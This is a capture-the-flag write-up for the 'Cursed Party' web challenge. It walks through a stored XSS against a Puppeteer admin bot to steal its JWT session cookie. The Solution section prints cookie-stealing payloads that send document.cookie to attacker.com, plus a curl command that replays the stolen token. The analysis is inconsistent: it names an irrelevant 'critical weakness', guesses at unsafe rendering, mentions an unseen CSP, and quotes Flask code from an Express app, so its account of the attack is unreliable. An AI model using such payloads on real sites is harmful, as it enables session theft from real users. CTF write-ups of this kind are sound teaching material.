2022 Hack The Boo: Cursed Party

Challenge Information

AttributeDetails
Event2022 Hack The Boo
CategoryWeb
ChallengeCursed Party

Summary

This web challenge features a party registration application with an admin dashboard. The vulnerability chain involves XSS injection through party request fields, which are then rendered on the admin panel. A bot visits the admin dashboard with a valid JWT token containing the flag, allowing attackers to steal the admin session cookie via XSS and access the flag through the authenticated dashboard.


Analysis

Application Structure

The application uses:

  • Framework: Express.js with Nunjucks templating
  • Authentication: JWT-based session management via cookies
  • Database: SQLite storing party requests
  • Automation: Puppeteer bot that visits admin panel after form submissions

Key Components

JWTHelper (Cryptographic Weakness):

const jwt = require('jsonwebtoken');
const crypto = require('crypto');
const APP_SECRET = crypto.randomBytes(69).toString('hex');
module.exports = {
sign(data) {
data = Object.assign(data);
return (jwt.sign(data, APP_SECRET, { algorithm:'HS256' }))
},
async verify(token) {
return (jwt.verify(token, APP_SECRET, { algorithm:'HS256' }));
}
}

The secret is randomly generated per server restart - this is the critical weakness.

Bot Implementation:

const visit = async () => {
const browser = await puppeteer.launch(browser_options);
let context = await browser.createIncognitoBrowserContext();
let page = await context.newPage();
let token = await JWTHelper.sign({ username: 'admin', user_role: 'admin', flag: flag });
await page.setCookie({
name: 'session',
value: token,
domain: '127.0.0.1:1337'
});
await page.goto('http://127.0.0.1:1337/admin', {
waitUntil: 'networkidle2',
timeout: 5000
});
// ... continues to /admin/delete_all
};

The bot signs in with admin privileges and visits /admin, which renders admin.html with the party requests data.

Database Schema:

CREATE TABLE party_requests(
id INTEGER PRIMARY KEY AUTOINCREMENT,
halloween_name VARCHAR(255) NOT NULL,
email VARCHAR(255) NOT NULL,
costume_type VARCHAR(255) NOT NULL,
trick_or_treat VARCHAR(20) NOT NULL
)

No input sanitization or parameterization on values.

Admin Route:

router.get('/admin', AuthMiddleware, (req, res) => {
if (req.user.user_role !== 'admin') {
return res.status(401).send(message('Unautorized!'));
}
return db.get_party_requests()
.then((data) => {
res.render('admin.html', { requests: data });
});
});

The template likely uses Nunjucks autoescape: true but might render user-controlled data unsafely.


Solution

Attack Vector: XSS → Session Theft

  1. Craft XSS Payload: Submit a party request with XSS in one of the fields (halloween_name, email, costume_type, or trick_or_treat):
{
"halloween_name": "<img src=x onerror=\"fetch('http://attacker.com/?cookie='+document.cookie)\">",
"email": "test@example.com",
"costume_type": "Ghost",
"trick_or_treat": "Treat"
}

Or use a more sophisticated payload to exfiltrate the JWT:

<script>
new Image().src='http://attacker.com/steal?token='+document.cookie;
</script>
  1. Bot Visits Admin Page: The bot visits /admin with the admin JWT token. The XSS payload executes in the bot’s browser context.

  2. Session Theft: The payload sends the admin’s session cookie (containing the JWT) to the attacker’s server.

  3. Access Flag: Use the stolen JWT to:

Terminal window
curl -b "session=<stolen_jwt>" http://target/admin

The page renders with access to the flag, which is displayed on the dashboard via:

return render_template('dashboard.html', flag=current_app.config['FLAG'], user=current_user.get('username'))

Implementation Details

The attack succeeds because:

  • No Input Validation: Party request fields accept arbitrary input
  • Unsafe Rendering: Admin template renders user-controlled data without proper escaping
  • Bot Automation: Puppeteer bot with valid credentials visits the page, executing the XSS
  • Session in Cookie: JWT is stored in an HTTP-accessible cookie, allowing JavaScript access

Key Takeaways

  • Input Sanitization is Critical: Always sanitize user input, especially in fields that will be displayed to other users
  • Use Content Security Policy (CSP): While present, the CSP here may have bypasses or be insufficient
  • HTTPOnly Cookies: Authentication tokens should use the HTTPOnly flag to prevent JavaScript access:
    res.cookie('session', token, { httpOnly: true, secure: true });
  • Output Encoding: Ensure templating engines properly escape all user-controlled output
  • Separate Secrets: Don’t regenerate JWT secrets on each restart - use a persistent secret file
  • Session Expiration: Implement proper session timeouts to limit the window of exploitation
  • Monitoring: Log and alert on admin panel access for security monitoring